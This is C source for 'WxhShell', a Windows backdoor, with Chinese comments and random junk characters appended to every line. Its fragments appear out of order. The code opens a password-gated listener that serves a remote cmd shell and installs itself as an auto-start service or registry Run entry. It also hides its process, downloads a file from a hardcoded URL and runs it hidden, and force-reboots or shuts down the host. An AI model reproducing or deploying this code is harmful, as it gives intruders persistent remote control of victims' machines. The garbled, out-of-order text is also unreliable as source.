    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %7_c|G1  
    else { #$vef  
    closesocket(wsh); xELnik_L2  
    ExitThread(0); .CrrjS w  
    } ~)S Q{eK?&  
    break; pearf2F  
    } -V'`;zE6  
  // 获取shell C~2/ 5  
  case 's': { jU#/yM "Y  
    CmdShell(wsh); doCWJ   
    closesocket(wsh); kXj%thDx  
    ExitThread(0); M!=WBw8Y]a  
    break; JJvf!]  
  } s$ ONht  
  // 退出 /12D >OK  
  case 'x': { I6]|dA3G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g5EdW=Dt,  
    CloseIt(wsh); *>=vSRL0_  
    break; /S]W< 8d  
    } 2u[:3K-@,  
  // 离开 xHml" Y1  
  case 'q': { (3RU|4Ks  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <JA`e+Bi  
    closesocket(wsh); hIj[#M&6  
    WSACleanup(); %j].' ;  
    exit(1); +s6 wF{  
    break; ${$XJs4  
        } 2$D *~~  
  } 5G~;g  
  } eQk ~YA]K  
fwy-M:  
  // 提示信息 ~&/|J)}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 26fm }QV  
} Fr%LV#Q  
  } &`a$n2ycy  
W|U!kqU  
  return; LzEAA{  
} lu^ c^p;  
Nxu 10  
// shell模块句柄 ~Od4( }/G  
int CmdShell(SOCKET sock) Sx,O)  
{ :E|HP#iwu  
STARTUPINFO si; @jW_ r j:<  
ZeroMemory(&si,sizeof(si)); i<g|+}I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O&# bC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <v?9:}  
PROCESS_INFORMATION ProcessInfo; >4:W:;R  
char cmdline[]="cmd"; _tR%7%3*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U.oxLbJ`  
  return 0; (~oUd 4  
} ]MkZ1~f7  
#@,39!;,:O  
// 自身启动模式 U[zY0B  
int StartFromService(void) \lKiUy/  
{ ?Z@FxW  
typedef struct XA~Rn>7&H  
{ <zN  
  DWORD ExitStatus; S;$@?vF  
  DWORD PebBaseAddress; z_#B 4  
  DWORD AffinityMask; uQN8/Gy*J  
  DWORD BasePriority; 47_4`rzy;  
  ULONG UniqueProcessId; ?~rF3M.=|  
  ULONG InheritedFromUniqueProcessId; O)MKEMuA  
}   PROCESS_BASIC_INFORMATION; QD LXfl/  
9&A-o  
PROCNTQSIP NtQueryInformationProcess; %zHNX4  
^4Ra$<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U,C L*qTF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #q~SfG  
^e$;I8l  
  HANDLE             hProcess; N2_j[Pe  
  PROCESS_BASIC_INFORMATION pbi; (NUk{MTX  
f\"Qgn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v{ .-x\;  
  if(NULL == hInst ) return 0; 9&}`.Py  
5y! 4ny _  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d"+zDc;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m",wjoZe*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g$~3@zD  
WYTeu "  
  if (!NtQueryInformationProcess) return 0; XG"&\FL{T  
Q>nq~#3?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &0Zn21q  
  if(!hProcess) return 0; Ebp^-I9.d  
8NJ(l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @<--5HbX  
2 [a#wz'  
  CloseHandle(hProcess); TH2D;uv  
.+7GecYz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :g3n [7wR  
if(hProcess==NULL) return 0; n.C.th >Y1  
<ns[( Q  
HMODULE hMod; \)VV6'zih  
char procName[255]; R2Fh WiL  
unsigned long cbNeeded; QBa1c-Y  
.-+_>br~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v?rjQ'OP  
gZgb-$b  
  CloseHandle(hProcess); *L8Pj`zR  
Q44Pg$jp  
if(strstr(procName,"services")) return 1; // 以服务启动 ks7g*; 3{@  
38! $9)  
  return 0; // 注册表启动 k,M%/AXd  
} @`aR*B  
cu|gM[  
// 主模块 $rDeI-)S  
int StartWxhshell(LPSTR lpCmdLine) @D8c-`LC"*  
{ s z/7cLo  
  SOCKET wsl; JwbC3 t):@  
BOOL val=TRUE; Nm%&xm  
  int port=0; |@={:gRJ{x  
  struct sockaddr_in door; 6%NX|4_  
AwB ]0H  
  if(wscfg.ws_autoins) Install(); 1?"vKm  
Eom|*2vWIC  
port=atoi(lpCmdLine); `CW8Wj  
nnIBN4  
if(port<=0) port=wscfg.ws_port; 7X.rGJZq  
;rpjXP  
  WSADATA data; 9@Yk8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A!s\;C  
s M({u/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >e*m8gm#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A1@tp/L=o  
  door.sin_family = AF_INET; fi+u!Y*3Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZAzn-n  
  door.sin_port = htons(port); "K`B'/08^  
 vrdlI^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wly#|  
closesocket(wsl); |$#u~<r_ w  
return 1; Ol:&cX3G  
} LF <fp&C)h  
F{ J>=TC  
  if(listen(wsl,2) == INVALID_SOCKET) { Ae:(_UJz  
closesocket(wsl); oC>e'_6_b  
return 1; y5iLFR3z  
} OwV>`BIwns  
  Wxhshell(wsl); on $?c  
  WSACleanup(); |\2z w _o  
/ZZo`   
return 0; >|!F.W  
OBi9aFoQ  
} _)Q) tOW  
ed4:r/Dpo  
// 以NT服务方式启动 ji<b#YO4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rH8^Fl&jT  
{ `GS!$9j  
DWORD   status = 0; mJRvC%  
  DWORD   specificError = 0xfffffff; ,rc5r3  
y.2_5&e/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +:?-Xd:p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8I$B^,N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *W,"UL6U8y  
  serviceStatus.dwWin32ExitCode     = 0; BKfcK>%g  
  serviceStatus.dwServiceSpecificExitCode = 0; |E0>-\6  
  serviceStatus.dwCheckPoint       = 0; gxpR#/(E~  
  serviceStatus.dwWaitHint       = 0; jZS6f*$  
K>6#MI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {&8-OoH ~  
  if (hServiceStatusHandle==0) return; esx<feP)\  
eX7Ev'(H  
status = GetLastError(); jI(~\`  
  if (status!=NO_ERROR) r9 'lFj  
{ < i"U%Ds(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P0S ;aE  
    serviceStatus.dwCheckPoint       = 0; UvRa7[<y%%  
    serviceStatus.dwWaitHint       = 0; (Mhj-0xf$  
    serviceStatus.dwWin32ExitCode     = status; Ev%4}GwO4  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5Tluxt71  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XP *pYN  
    return; Q^/66"Z:Z  
  } T[B@7$Dp*  
aiGT!2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2]C`S,)  
  serviceStatus.dwCheckPoint       = 0; m `~/]QQ  
  serviceStatus.dwWaitHint       = 0; |/C>xunzz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6c>t|=Ss(  
} 1HL}tG?+#  
U|6ME%xm  
// 处理NT服务事件,比如:启动、停止 Sx+.<]t2A  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  d_gm'  
{ +r *f2\S  
switch(fdwControl) 5:E7nqsNhq  
{ c 6@!?8J  
case SERVICE_CONTROL_STOP: |1X^@  
  serviceStatus.dwWin32ExitCode = 0; D`0II=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5c($3Pno=  
  serviceStatus.dwCheckPoint   = 0; q3JoU/Sf  
  serviceStatus.dwWaitHint     = 0; EC$wi|i  
  { bVSa}&*kM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x0@J~ _0  
  } ZdeRLX  
  return; j':Ybr>BR  
case SERVICE_CONTROL_PAUSE: S*Un$ngAh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H>_ FCV8  
  break; p{xO+Nx1a  
case SERVICE_CONTROL_CONTINUE: tiSN amvG1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K2>(C$Z  
  break; 2+ F34  
case SERVICE_CONTROL_INTERROGATE: z"bgtlfb8  
  break; ,Y=r] fk  
}; KG6ki_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &10vdAnBRC  
} Ke,UwYG2~G  
GJai!$v  
// 标准应用程序主函数 / *xP`'T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yv }G"-=  
{ Brr{iBz*"  
&F9BaJ  
// 获取操作系统版本 u*Z>&]W_  
OsIsNt=GetOsVer(); 7'Y 3T[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VI0^Zq!6R  
+'Pl?QyH  
  // 从命令行安装 C%t~?jEK~^  
  if(strpbrk(lpCmdLine,"iI")) Install(); o $oW-U  
 wX@&Qv  
  // 下载执行文件 [?iA`#^d  
if(wscfg.ws_downexe) { ?Q[uIQ?dV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;0O3b  
  WinExec(wscfg.ws_filenam,SW_HIDE); q]YPDdR#  
} 8hba3L_Z  
xOP%SF  
if(!OsIsNt) { gN1b?_g  
// 如果时win9x,隐藏进程并且设置为注册表启动 `Gzukh  
HideProc(); ))|Wm}  
StartWxhshell(lpCmdLine); \.2?951}  
} F7gipCc1We  
else t%ye :  
  if(StartFromService())  XWV)   
  // 以服务方式启动 ' Dv `Gj  
  StartServiceCtrlDispatcher(DispatchTable); wv<D%nF2|  
else DZ5%-  
  // 普通方式启动 <at/z9b  
  StartWxhshell(lpCmdLine); nx`!BNL'V  
]#P9.c_}  
return 0; o0^..f  
} H!Z=}>TN  
W76K/A<h>  
)(~4fA5j)  
K)~ m{  
=========================================== vBx*bZ  
Ke '?  
rCi7q]_  
[H)NkR;I  
8M*[RlUJB  
]+;1)  
" CdgZq\  
%l%5Q;t  
#include <stdio.h> -hj@^Auf  
#include <string.h> #Mw|h^ Wm  
#include <windows.h> u"XqWLTV  
#include <winsock2.h> |F[E h ~  
#include <winsvc.h> Vd~{SS 2>  
#include <urlmon.h> Hq[d!qc  
)kR~|Yn<-  
#pragma comment (lib, "Ws2_32.lib") /KjRB_5~q}  
#pragma comment (lib, "urlmon.lib") )QEvV:\  
h 92\1,  
#define MAX_USER   100 // 最大客户端连接数 eBX#^  
#define BUF_SOCK   200 // sock buffer 8 7P{vf#  
#define KEY_BUFF   255 // 输入 buffer [~9rp]<  
'#gd19#  
#define REBOOT     0   // 重启 ] C_g: |q  
#define SHUTDOWN   1   // 关机 #7I,.DUy[  
x4fl=  
#define DEF_PORT   5000 // 监听端口 ,o7aIg&_H  
tgK$}#.*  
#define REG_LEN     16   // 注册表键长度 uSCF;y=1g,  
#define SVC_LEN     80   // NT服务名长度 QEK,mc3  
Nq6~6Rr  
// 从dll定义API La9v97H:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;SoKX?up5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }VxbO8\b(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P3V=DOG"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BV,P;T0"D  
Cv862k P  
// wxhshell配置信息 c9imfA+e  
struct WSCFG { ~L(=-B`Ow  
  int ws_port;         // 监听端口 0yr=$F(]s  
  char ws_passstr[REG_LEN]; // 口令 o:B?gDM  
  int ws_autoins;       // 安装标记, 1=yes 0=no g3Q]W(F%$  
  char ws_regname[REG_LEN]; // 注册表键名 X{zg-k(@  
  char ws_svcname[REG_LEN]; // 服务名 //cj$}Rn!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HKr")K%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 im{'PgiR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yzr>]"o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |3{DlZ2S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j_S///  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .4Ob?ZS(  
>ch{u{i6  
}; {vYmK#}  
Dz/I"bZLC  
// default Wxhshell configuration JR{3n*  
struct WSCFG wscfg={DEF_PORT, <Z5ak4P  
    "xuhuanlingzhe", RB<LZHZI  
    1, | n5F_RL  
    "Wxhshell", @Aa$k:_  
    "Wxhshell", ''Fy]CwH(  
            "WxhShell Service", UH/)4Wg  
    "Wrsky Windows CmdShell Service", N|hNh$J[  
    "Please Input Your Password: ", k%-_z}:3V  
  1, Xr\|U89P  
  "http://www.wrsky.com/wxhshell.exe", 1;cV [&3  
  "Wxhshell.exe" le*mr0a  
    }; sW!pMkd_  
4q#6.E;yy  
// 消息定义模块 j~,7JJ (y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CqX2R:#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Li~(kw3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _"n1"%Ns  
char *msg_ws_ext="\n\rExit."; fTiqY72h  
char *msg_ws_end="\n\rQuit."; 2GOQ|Z  
char *msg_ws_boot="\n\rReboot..."; "+3p??h%Rq  
char *msg_ws_poff="\n\rShutdown..."; }@MOkj  
char *msg_ws_down="\n\rSave to "; AY4ZU CqI  
Q!K@  
char *msg_ws_err="\n\rErr!"; pFi.?|6"  
char *msg_ws_ok="\n\rOK!"; & V :q}Q  
1~:7W  
char ExeFile[MAX_PATH]; [^xLK  
int nUser = 0; xcdy/J&  
HANDLE handles[MAX_USER]; #- $?2?2  
int OsIsNt; y~'F9E!i  
h- .V[]<  
SERVICE_STATUS       serviceStatus; 3qOq:ZkQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (7BG~T  
qS<a5`EA  
// 函数声明 m qgA  
int Install(void); m^cr-'  
int Uninstall(void); owL>w  
int DownloadFile(char *sURL, SOCKET wsh); ry9%Y3  
int Boot(int flag); ~qQSt%  
void HideProc(void); *(6vO{  
int GetOsVer(void); wY|&qX,  
int Wxhshell(SOCKET wsl); W^; wr#  
void TalkWithClient(void *cs); -=BQVJ_dK{  
int CmdShell(SOCKET sock); .Tr!/mf_  
int StartFromService(void); nIdB,  
int StartWxhshell(LPSTR lpCmdLine); V5sH:A7GJ  
hJY= )  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ceBu i8a |  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %UZ_wsY\  
 z}\TS.  
// 数据结构和表定义 9bvzt8pc  
SERVICE_TABLE_ENTRY DispatchTable[] = #<d f!)  
{ 1gk{|keh  
{wscfg.ws_svcname, NTServiceMain}, K6<@DP+/  
{NULL, NULL} y1R53u`;L  
}; K{)N:|y%!$  
1}+lL)-!  
// 自我安装 _j{^I^P  
int Install(void) {~NiGH Y  
{ @wO"?w(  
  char svExeFile[MAX_PATH]; \jLn5$OW  
  HKEY key; 0S8v41i6  
  strcpy(svExeFile,ExeFile); S^nshQI  
gi!{y   
// 如果是win9x系统,修改注册表设为自启动 Ut:>'TwG  
if(!OsIsNt) { lc1?Vd$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =" Q5Z6W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lZoy(kdc  
  RegCloseKey(key); \.h!'nfF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xv ;} !z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sYnf #'  
  RegCloseKey(key); XnC`JO+7M  
  return 0; 2eErvfC[  
    } 0'u2xe  
  } ?K, xxH  
} pvCn+y/U;  
else { "@: b'm  
xo{3r\u?}  
// 如果是NT以上系统,安装为系统服务 USF&;M3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2{ ^k*Cfd  
if (schSCManager!=0) d]Y-^&]{]  
{ 5bU[uT,`6  
  SC_HANDLE schService = CreateService *L_+rJj,  
  ( Pd-0u> k  
  schSCManager, W,&z:z>  
  wscfg.ws_svcname, 0<f\bY02  
  wscfg.ws_svcdisp, v+XB$j^H  
  SERVICE_ALL_ACCESS, H]e%8w))0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sevaNs  
  SERVICE_AUTO_START, ;Zfglid  
  SERVICE_ERROR_NORMAL, 4+&4  
  svExeFile, Q/[|/uNw?  
  NULL, <P&~k\BuF{  
  NULL, H9nVtS{x  
  NULL, ^8dd  
  NULL, ]BAM _  
  NULL pzcV[E1  
  ); L ;5R*)t  
  if (schService!=0) q{D_p[q  
  { b0W~*s [4  
  CloseServiceHandle(schService); )Los\6PRn  
  CloseServiceHandle(schSCManager); r|!w,>.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9MfBsp}c  
  strcat(svExeFile,wscfg.ws_svcname); E?%SOU<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .xJW=G{/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 951"0S`Lo  
  RegCloseKey(key); cRYnQ{$'  
  return 0; GFM $1}  
    } >q+o MrU  
  } &k'J5YHm8H  
  CloseServiceHandle(schSCManager); >y&Db  
} f-6hcd@Ca  
} E`vCYhf{  
nNuv 0  
return 1; Ay?;0w0  
} T}DP35dBzE  
r9!jIkILz  
// 自我卸载 E"LSM]^^<f  
int Uninstall(void) +#qW 0g  
{ 8@`"ZzM  
  HKEY key; Z^t"!oY  
H/!_D f  
if(!OsIsNt) { $`7cs}#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N}`.N  
  RegDeleteValue(key,wscfg.ws_regname); j ys1Ki  
  RegCloseKey(key); s$g"6;_\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h<KE)^).  
  RegDeleteValue(key,wscfg.ws_regname); U)IW6)q  
  RegCloseKey(key); qRXQL"Pe_l  
  return 0; l :sZ  
  } Z}#, E ;  
} Q-<,+[/  
} .&Uu w  
else { ;r(hZ%pD  
{Rc!S? 8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y@)iPK@z  
if (schSCManager!=0) 3SbtN3  
{ O{b.-<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q ld2<W  
  if (schService!=0) vZEeb j  
  { US8pT|/  
  if(DeleteService(schService)!=0) { M4hzf  
  CloseServiceHandle(schService); X$"=\p>X  
  CloseServiceHandle(schSCManager); 8m? 9?OV5  
  return 0; eK_Q>;k5A  
  } |e+8Xz1>  
  CloseServiceHandle(schService); c%2C\UB  
  } ~ Iin|  
  CloseServiceHandle(schSCManager); J;Y=o B  
} g3B zi6$m  
} .j*muDVQn  
ex_Zw+n  
return 1; F8e]sa$K\  
} XXbA n-J  
\0 &7^  
// 从指定url下载文件 :',.I  
int DownloadFile(char *sURL, SOCKET wsh) ^,@!L-<~(b  
{ dB{o-R  
  HRESULT hr; pJM~'tlHV  
char seps[]= "/"; 3#)I7FG  
char *token; v7rEU S-  
char *file; JffjGf-o  
char myURL[MAX_PATH]; lq2Ah=FuN  
char myFILE[MAX_PATH]; *Xh)22~T  
/cn=8%!N  
strcpy(myURL,sURL); z[kz [  
  token=strtok(myURL,seps); sZ`C "1cX  
  while(token!=NULL) >)g`;iO  
  { bZ!*s  
    file=token; 9qIdwDRY  
  token=strtok(NULL,seps); cID{X&or  
  } H{*~d+:ol  
p4m9@ \gn  
GetCurrentDirectory(MAX_PATH,myFILE); w+ZeVZv!r  
strcat(myFILE, "\\"); CA2 ,  
strcat(myFILE, file); /P<K)a4GM  
  send(wsh,myFILE,strlen(myFILE),0); Jb'l.xN  
send(wsh,"...",3,0); ZA4NVt.yN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SrMg=a  
  if(hr==S_OK) BMlnzi  
return 0; Lf+M +^l  
else :r0?[#r?N,  
return 1; m.ib#Y)y  
y%.^| G  
} an+`>}]F  
lq2P10j@  
// 系统电源模块 A%H"a+  
int Boot(int flag) ICSi<V[y1  
{  $$E!u}  
  HANDLE hToken; 2{!o"6t  
  TOKEN_PRIVILEGES tkp; }Dk*Hs^E  
H8[ L:VeNT  
  if(OsIsNt) { Fb#_(I[aj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F?b5!<5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8l(_{Y5(-  
    tkp.PrivilegeCount = 1; U 00}jH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QdaYP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5mNd5IM  
if(flag==REBOOT) { &WW|! 6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I;dc[m  
  return 0; )bc0 t]Fs  
} H]@M00C  
else { |2mm@):  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3OUZR5_$  
  return 0; xL,;(F\^  
} n[Jpy[4g  
  } 98u$5=Z' /  
  else { C(i1Vx<-  
if(flag==REBOOT) { 83,ATQg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &Q7vY  
  return 0; ?nOul}y/  
} --SlxV/x  
else { bYT,f.,5{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }K\] M@  
  return 0; UR')) 1n  
} S]^`Qy)  
} H f}->  
DyiyH%SSD  
return 1; CR$\$-  
} sdq8wn  
X) lzBM  
// win9x进程隐藏模块 :BLD &mb"Y  
void HideProc(void) hS) X`M  
{ >5Vv6_CI0?  
H+&c=~D\_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {(r`&[  
  if ( hKernel != NULL ) w i,}sEoM  
  { __Kn 1H{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |/,XdTSy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e 5hq> K  
    FreeLibrary(hKernel); N%Gb  
  } RJ/4T#b"+  
(UW V#AR  
return; !Yx9=>R  
} $q`650&S*  
E"p;  
// 获取操作系统版本 9&R. <I  
int GetOsVer(void) '0z-duu  
{ k&-SB -  
  OSVERSIONINFO winfo; #'}?.m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Bi7QYi/  
  GetVersionEx(&winfo); '8+<^%c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1m$:Rn^  
  return 1; I5[HD_g:  
  else 09jU 0x  
  return 0; p8CDFLuV  
} msKWb311u  
wO6 D\#  
// 客户端句柄模块 @BbqYX  
int Wxhshell(SOCKET wsl) Wr.G9zq.+  
{ eH.~c3o  
  SOCKET wsh; 9sQ7wlK  
  struct sockaddr_in client; 4\qnCf3  
  DWORD myID; pSM\(kVKa  
:77dl/d%  
  while(nUser<MAX_USER) K.k%Tg[ ~  
{ 9r,)Bw!RP  
  int nSize=sizeof(client); r(g:b ^S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %fY\vd 2  
  if(wsh==INVALID_SOCKET) return 1; Y.9s-g  
K0hmRR=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WP/?(%#Y  
if(handles[nUser]==0) 8 KH|:>s=  
  closesocket(wsh); y \M]\^[7  
else #bN'N@|  
  nUser++; '!8'Xo@Go3  
  } @LQe[`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !zc?o?~z  
~I'1\1  
  return 0; < {1'cx  
} 9F[k;Uw  
^Ec);Z  
// 关闭 socket bb@@QzR  
void CloseIt(SOCKET wsh) t= =+SHGP  
{ `cee tr=  
closesocket(wsh); D?yiK=:08`  
nUser--; X=QaTV  
ExitThread(0); q~QB?+ x&  
} xaQO=[  
0E[&:6#Y  
// 客户端请求句柄 .UJp#/EHs  
void TalkWithClient(void *cs) 8|FHr,  
{ /CR Z  
QrmiQ]d*p  
  SOCKET wsh=(SOCKET)cs; =1qM`M   
  char pwd[SVC_LEN]; 2$G,pT1J  
  char cmd[KEY_BUFF]; @3T)J,f  
char chr[1]; NGsG4y^g?z  
int i,j; o Ho@rGU  
9|y?jb5im  
  while (nUser < MAX_USER) { pP JhF8Dt  
h+,Eu7\88  
if(wscfg.ws_passstr) { qX,T X 3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z"[}Sk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l_Ee us  
  //ZeroMemory(pwd,KEY_BUFF); (MfPu8j  
      i=0; Qq,w6ekr  
  while(i<SVC_LEN) { kkvG=  
W|NT*g{;M  
  // 设置超时 a!iG;:K   
  fd_set FdRead; ){~]-VK  
  struct timeval TimeOut; %d3KE|&u  
  FD_ZERO(&FdRead); )zU bMzF  
  FD_SET(wsh,&FdRead); <d&9`e1Hc  
  TimeOut.tv_sec=8; E'_3U5U  
  TimeOut.tv_usec=0; ?<mxv"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }q-*Ls~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V 4~`yT?*"  
gaBVD*>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .(D,CGtYb  
  pwd=chr[0]; S3cV^CzNg  
  if(chr[0]==0xd || chr[0]==0xa) { HN7C+e4U~  
  pwd=0; |}hV_   
  break; =\[}@Kh  
  } -SF *DZ  
  i++; 2<"kfa n  
    } J0%e6{C1  
#* KmPc+  
  // 如果是非法用户,关闭 socket Ze?(N~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1?!z<<  
} gHL v zm  
o \r6 iO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^)\z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S.i CkX  
%yr(i 6L  
while(1) { 3b9SyU2  
f9ziSD#  
  ZeroMemory(cmd,KEY_BUFF); [ \41  
86_`Z$ s  
      // 自动支持客户端 telnet标准   C71\9K*X  
  j=0; yu^n;gWH  
  while(j<KEY_BUFF) { "2J$~2{N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hi V7  
  cmd[j]=chr[0]; qj$6/V|D  
  if(chr[0]==0xa || chr[0]==0xd) { 3G r:.V9=  
  cmd[j]=0; *=b# >//  
  break; Py}] {?  
  } f`^\v  
  j++; e\Igc.  
    } .|Ee,Un  
Y2Z<A(W  
  // 下载文件 Z+3j>_Ss  
  if(strstr(cmd,"http://")) { vv 7T/C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "q<}#]u  
  if(DownloadFile(cmd,wsh)) ysHmi{V~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OVy ZyZ#  
  else {y>o6OTITR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E:!qnc L:  
  } G/y@`A)  
  else { MPS{MGVjbJ  
3 $~6+i  
    switch(cmd[0]) { n"Gow/-;  
  q8Z,XfF^S  
  // 帮助 ..Dr?#Cr  
  case '?': { 3M@!?=| U  
